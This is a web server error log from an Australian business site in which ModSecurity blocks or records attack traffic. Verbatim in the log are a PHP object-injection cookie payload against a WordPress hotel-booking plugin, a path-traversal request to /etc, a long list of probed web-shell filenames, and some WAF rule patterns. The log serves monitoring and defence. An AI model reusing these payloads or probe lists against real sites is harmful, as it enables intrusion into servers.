[Fri Nov 21 18:03:40.192866 2025] [:error] [pid 25554:tid 25561] [client 144.48.39.86:35064] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Found 4 byte(s) in REQUEST_HEADERS:Cookie outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "REQUEST_HEADERS:Cookie=thimpress_hotel_booking_1=O:11:\\x22WPHB_Logger\\x22:1:{s:21:\\x22\\x00WPHB_Logger\\x00_handles\\x22;C:33:\\x22Requests_Utility_FilteredIterator\\x22:67:{x:i:0;a:1:{i:0;s:2:\\x22-1\\x22;};m:a:1:{s:11:\\x22\\x00*\\x00callback\\x22;s:7:\\x22phpinfo\\x22;}}}"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSA4_B-NtB-9AzFZrk6AlgAAAQM"]
[Fri Nov 21 18:03:41.182793 2025] [:error] [pid 46939:tid 46955] [client 144.48.39.86:35086] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/logupload"] [unique_id "aSA4_e0OmVoxD4VZ_ZmzogAAAU0"], referer: https://www.windfarmcoolants.com.au
[Fri Nov 21 18:03:42.195764 2025] [:error] [pid 25554:tid 25571] [client 144.48.39.86:58394] File does not exist: /usr/local/apache/htdocs/suspended-page/search.php
[Fri Nov 21 18:03:43.189014 2025] [:error] [pid 46939:tid 46966] [client 144.48.39.86:58536] [client 144.48.39.86] ModSecurity: Multipart parsing error: Multipart: Invalid boundary: ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\xe2\\x80\\x94\\r\\n [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSA4_-0OmVoxD4VZ_ZmzrgAAAVg"]
[Fri Nov 21 18:03:43.189361 2025] [:error] [pid 46939:tid 46966] [client 144.48.39.86:58536] [client 144.48.39.86] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Invalid boundary: ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\x5cxe2\\x5cx80\\x5cx94\\x5cr\\x5cn"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSA4_-0OmVoxD4VZ_ZmzrgAAAVg"]
[Fri Nov 21 18:03:43.189442 2025] [:error] [pid 46939:tid 46966] [client 144.48.39.86:58536] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSA4_-0OmVoxD4VZ_ZmzrgAAAVg"]
[Fri Nov 21 18:03:45.188249 2025] [:error] [pid 25429:tid 25435] [client 144.48.39.86:58626] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 18:45:41.915808 2025] [:error] [pid 25521:tid 25530] [client 104.28.240.85:50428] [client 104.28.240.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.240.85, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSBC1fhXnBMilDddn3UeHgAAAMc"]
[Fri Nov 21 18:45:41.920876 2025] [:error] [pid 25521:tid 25530] [client 104.28.240.85:50428] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 21 22:10:01.544857 2025] [:error] [pid 46939:tid 46944] [client 144.48.39.86:35718] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 23:01:23.064910 2025] [:error] [pid 25429:tid 25440] [client 173.239.254.69:48049] [client 173.239.254.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSB-wz4rZbRSr7vu-NMZfgAAAAc"]
[Fri Nov 21 23:01:23.068670 2025] [:error] [pid 25429:tid 25440] [client 173.239.254.69:48049] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 22 01:10:27.559095 2025] [:error] [pid 49642:tid 49912] [client 103.186.30.186:56374] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aSCdA4OXTPSuQfgUUtWKfwAAAJU"]
[Sat Nov 22 01:10:28.240442 2025] [:error] [pid 49643:tid 49934] [client 103.186.30.186:65306] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/style.php"] [unique_id "aSCdBJwUojIRHhF_fj-I0wAAAM4"]
[Sat Nov 22 01:10:28.773026 2025] [:error] [pid 50057:tid 50074] [client 103.186.30.186:51212] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aSCdBFb9j9fTBoI0sRVEKQAAAQ8"]
[Sat Nov 22 01:10:29.240639 2025] [:error] [pid 49641:tid 49839] [client 103.186.30.186:64395] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/style.php"] [unique_id "aSCdBVnhuiDak938N_ayUwAAABA"]
[Sat Nov 22 01:10:30.004951 2025] [:error] [pid 49641:tid 49847] [client 103.186.30.186:50842] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style.php"] [unique_id "aSCdBlnhuiDak938N_ayWgAAABg"]
[Sat Nov 22 01:10:30.274816 2025] [:error] [pid 49641:tid 49837] [client 103.186.30.186:59080] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aSCdBlnhuiDak938N_ayYQAAAA4"]
[Sat Nov 22 01:10:30.543186 2025] [:error] [pid 49641:tid 49846] [client 103.186.30.186:64399] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "aSCdBlnhuiDak938N_ayZQAAABc"]
[Sat Nov 22 01:10:31.166859 2025] [:error] [pid 50057:tid 50082] [client 103.186.30.186:51906] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "aSCdB1b9j9fTBoI0sRVEMwAAARc"]
[Sat Nov 22 01:10:31.417170 2025] [:error] [pid 49641:tid 49840] [client 103.186.30.186:51243] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aSCdB1nhuiDak938N_ayawAAABE"]
[Sat Nov 22 01:10:31.958221 2025] [:error] [pid 49641:tid 49832] [client 103.186.30.186:61239] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "aSCdB1nhuiDak938N_aycwAAAAk"]
[Sat Nov 22 01:10:32.267568 2025] [:error] [pid 49642:tid 49901] [client 103.186.30.186:50124] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "aSCdCIOXTPSuQfgUUtWKnAAAAIo"]
[Sat Nov 22 01:10:32.597463 2025] [:error] [pid 9180:tid 9202] [client 103.186.30.186:55980] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/blurbs.php"] [unique_id "aSCdCLrk9msixUFV2i-LiwAAAFQ"]
[Sat Nov 22 01:10:33.162347 2025] [:error] [pid 9180:tid 9187] [client 103.186.30.186:64345] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "aSCdCbrk9msixUFV2i-LjQAAAEU"]
[Sat Nov 22 01:10:33.549922 2025] [:error] [pid 49643:tid 49931] [client 103.186.30.186:59685] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aSCdCZwUojIRHhF_fj-I3gAAAMs"]
[Sat Nov 22 01:10:34.155592 2025] [:error] [pid 49641:tid 49830] [client 103.186.30.186:57053] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shelp.php"] [unique_id "aSCdClnhuiDak938N_ayeQAAAAc"]
[Sat Nov 22 01:10:34.438952 2025] [:error] [pid 49642:tid 49900] [client 103.186.30.186:55794] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cord.php"] [unique_id "aSCdCoOXTPSuQfgUUtWKpgAAAIk"]
[Sat Nov 22 01:10:34.993822 2025] [:error] [pid 49643:tid 49926] [client 103.186.30.186:52814] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/dex.php"] [unique_id "aSCdCpwUojIRHhF_fj-I5QAAAMc"]
[Sat Nov 22 01:10:35.258665 2025] [:error] [pid 49642:tid 49901] [client 103.186.30.186:57612] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSCdC4OXTPSuQfgUUtWKqQAAAIo"]
[Sat Nov 22 01:10:35.601323 2025] [:error] [pid 9180:tid 9205] [client 103.186.30.186:58008] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file2.php"] [unique_id "aSCdC7rk9msixUFV2i-LlgAAAFc"]
[Sat Nov 22 01:10:36.146385 2025] [:error] [pid 49643:tid 49935] [client 103.186.30.186:58612] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "aSCdDJwUojIRHhF_fj-I6gAAAM8"]
[Sat Nov 22 01:10:36.453650 2025] [:error] [pid 49641:tid 49840] [client 103.186.30.186:57481] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/zwso.php"] [unique_id "aSCdDFnhuiDak938N_ayggAAABE"]
[Sat Nov 22 01:10:36.953129 2025] [:error] [pid 49641:tid 49823] [client 103.186.30.186:51953] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aSCdDFnhuiDak938N_ayhgAAAAA"]
[Sat Nov 22 01:10:37.242449 2025] [:error] [pid 49643:tid 49944] [client 103.186.30.186:58770] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aSCdDZwUojIRHhF_fj-I7wAAANg"]
[Sat Nov 22 01:10:37.686614 2025] [:error] [pid 49641:tid 49826] [client 103.186.30.186:57979] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shlo.php"] [unique_id "aSCdDVnhuiDak938N_ayjAAAAAM"]
[Sat Nov 22 01:10:38.231436 2025] [:error] [pid 49642:tid 49902] [client 103.186.30.186:55330] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/133.php"] [unique_id "aSCdDoOXTPSuQfgUUtWKuQAAAIs"]
[Sat Nov 22 01:10:38.485612 2025] [:error] [pid 49643:tid 49923] [client 103.186.30.186:52682] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "aSCdDpwUojIRHhF_fj-I-QAAAMQ"]
[Sat Nov 22 01:10:39.041185 2025] [:error] [pid 49641:tid 49846] [client 103.186.30.186:57121] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/php8.php"] [unique_id "aSCdD1nhuiDak938N_aykgAAABc"]
[Sat Nov 22 01:10:39.286321 2025] [:error] [pid 9180:tid 9202] [client 103.186.30.186:61743] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/lufix1.php"] [unique_id "aSCdD7rk9msixUFV2i-LogAAAFQ"]
[Sat Nov 22 01:10:39.581382 2025] [:error] [pid 49643:tid 49936] [client 103.186.30.186:61682] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/witmm.php"] [unique_id "aSCdD5wUojIRHhF_fj-I_QAAANA"]
[Sat Nov 22 01:10:39.944783 2025] [:error] [pid 49641:tid 49826] [client 103.186.30.186:59379] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aSCdD1nhuiDak938N_aylQAAAAM"]
[Sat Nov 22 01:10:40.190403 2025] [:error] [pid 49642:tid 49895] [client 103.186.30.186:50413] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSCdEIOXTPSuQfgUUtWKxQAAAIQ"]
[Sat Nov 22 01:10:40.432964 2025] [:error] [pid 49641:tid 49840] [client 103.186.30.186:64419] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "aSCdEFnhuiDak938N_aymQAAABE"]
[Sat Nov 22 01:10:40.761604 2025] [:error] [pid 49643:tid 49942] [client 103.186.30.186:64318] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aSCdEJwUojIRHhF_fj-JAQAAANY"]
[Sat Nov 22 01:10:41.128383 2025] [:error] [pid 49642:tid 49913] [client 103.186.30.186:64983] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aSCdEYOXTPSuQfgUUtWKyAAAAJY"]
[Sat Nov 22 01:10:41.372740 2025] [:error] [pid 49641:tid 49830] [client 103.186.30.186:51816] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files.php"] [unique_id "aSCdEVnhuiDak938N_aynwAAAAc"]
[Sat Nov 22 01:10:41.872747 2025] [:error] [pid 9180:tid 9182] [client 103.186.30.186:64899] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-editor.php"] [unique_id "aSCdEbrk9msixUFV2i-LqQAAAEA"]
[Sat Nov 22 02:19:22.177710 2025] [:error] [pid 49641:tid 49832] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php, referer: https://www.bing.com/
[Sat Nov 22 02:19:22.399987 2025] [:error] [pid 49641:tid 49829] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://www.google.fr/
[Sat Nov 22 02:19:22.650626 2025] [:error] [pid 49641:tid 49847] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:19:22.926757 2025] [:error] [pid 49641:tid 49836] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/.__info.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:19:23.199618 2025] [:error] [pid 49641:tid 49838] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.google.de/
[Sat Nov 22 02:19:23.418859 2025] [:error] [pid 49641:tid 49831] [client 104.208.164.78:6564] [client 104.208.164.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.164.78, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aSCtK1nhuiDak938N_bLOgAAAAg"], referer: https://www.google.com/
[Sat Nov 22 02:19:23.422732 2025] [:error] [pid 49641:tid 49831] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://www.google.com/
[Sat Nov 22 02:19:23.892795 2025] [:error] [pid 49641:tid 49830] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:19:24.112599 2025] [:error] [pid 49641:tid 49823] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:19:24.610183 2025] [:error] [pid 49641:tid 49837] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:19:24.832760 2025] [:error] [pid 49641:tid 49842] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/akcc.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:19:25.075131 2025] [:error] [pid 49641:tid 49844] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php, referer: https://www.google.de/
[Sat Nov 22 02:19:25.297713 2025] [:error] [pid 49641:tid 49826] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/build.php, referer: https://www.google.de/
[Sat Nov 22 02:19:25.559115 2025] [:error] [pid 49641:tid 49827] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:19:25.773620 2025] [:error] [pid 49641:tid 49834] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php, referer: https://www.google.de/
[Sat Nov 22 02:19:26.011110 2025] [:error] [pid 49641:tid 49839] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:19:26.226519 2025] [:error] [pid 49641:tid 49845] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:19:26.452025 2025] [:error] [pid 49641:tid 49832] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php, referer: https://www.google.de/
[Sat Nov 22 02:19:26.696942 2025] [:error] [pid 49641:tid 49829] [client 104.208.164.78:6564] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php, referer: https://www.google.fr/
